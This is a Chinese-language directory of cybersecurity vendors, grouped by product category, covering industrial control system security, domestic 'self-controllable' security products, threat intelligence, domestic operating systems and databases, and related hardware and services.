工控安全产品与厂商大全威努特、匡恩网络、谷神星、海天炜业、珠海鸿瑞、力控华康、启明星辰、绿盟科技、中科网威、三零卫士、安恒信息、北京网藤科技、天地和兴、安恒信息……
  • 工控防火墙:中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能
  • 工控安全审计:威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威
  • 工控漏洞扫描/挖掘:天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇
  • 工控安管平台:天地和兴、匡恩网络、中科网威
  • 工控主机安全防护:天地和兴、网藤科技、安点科技、九略智能
  • 工控入侵检测/威胁感知/入侵防御:安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威
  • 工控网闸:安点科技、中科网威
  • 工控防泄密:匡恩网络
  • 工控检查工具箱:安恒信息、
  • 工控蜜罐:匡恩网络、
  • 工控攻防实验室:匡恩网络、网藤科技、博智软件
  • 工控态势感知:安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能
中国自主可控网络安全产品与厂商
  • 数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会;
  • 就自主可控行业的特殊性而言,很多大厂商是作为特供产品进行市场宣传,而小厂商只作为品牌规划,并没有特殊宣传,在数据收集时可能会导致内容不全面;
  • 对于名单中未涉及的厂商,可以单独联系, 告知欲添加的分类、公司名称(需在上述3个联盟中);
  • 感谢中关村可信联盟自主可信专委会相关工作人员整理!
  • 防火墙:中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所
  • 入侵检测/防御:中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏
  • 漏洞扫描系统:中科神威、安恒信息 、绿盟科技
  • 安全管理平台:启明星辰、中科神威、360
  • 网闸/安全隔离与信息单向导入设备:国保金泰、中科神威、北京安盟、赛博兴安
  • 加密机:江南天安
  • 终端安全:北信源、江民科技
  • Web应用防火墙:上海天泰
  • 堡垒机:建恒信安、江南寰宇
  • 负载均衡:般固科技
  • 防毒墙:江民科技
  • 备份一体机:壹进制
  • 网络流量分析:北京卓迅
  • 网络准入控制:画方科技
  • 存储:创新科、同有飞骥
未分类子类
  • 舆情监控:中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达
  • 威胁情报:微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息
  • 国产操作系统:Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux
  • 国产数据库:达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase
  • 业务风控安全:锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾
  • 蜜罐:安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技
  • 安全硬件平台/工控机:新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华,立华,惠尔,智威智能
  • 数据恢复:苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件
  • 数据库准入:杭州美创
  • 数据库堡垒机:杭州美创
  • 红黑电源滤波插座:保旺达、启航智通
  • 电磁屏蔽柜:启航智通、信安邦
  • 数字取证:美亚柏科、盘石软件
  • 安全计算机:瑞达信息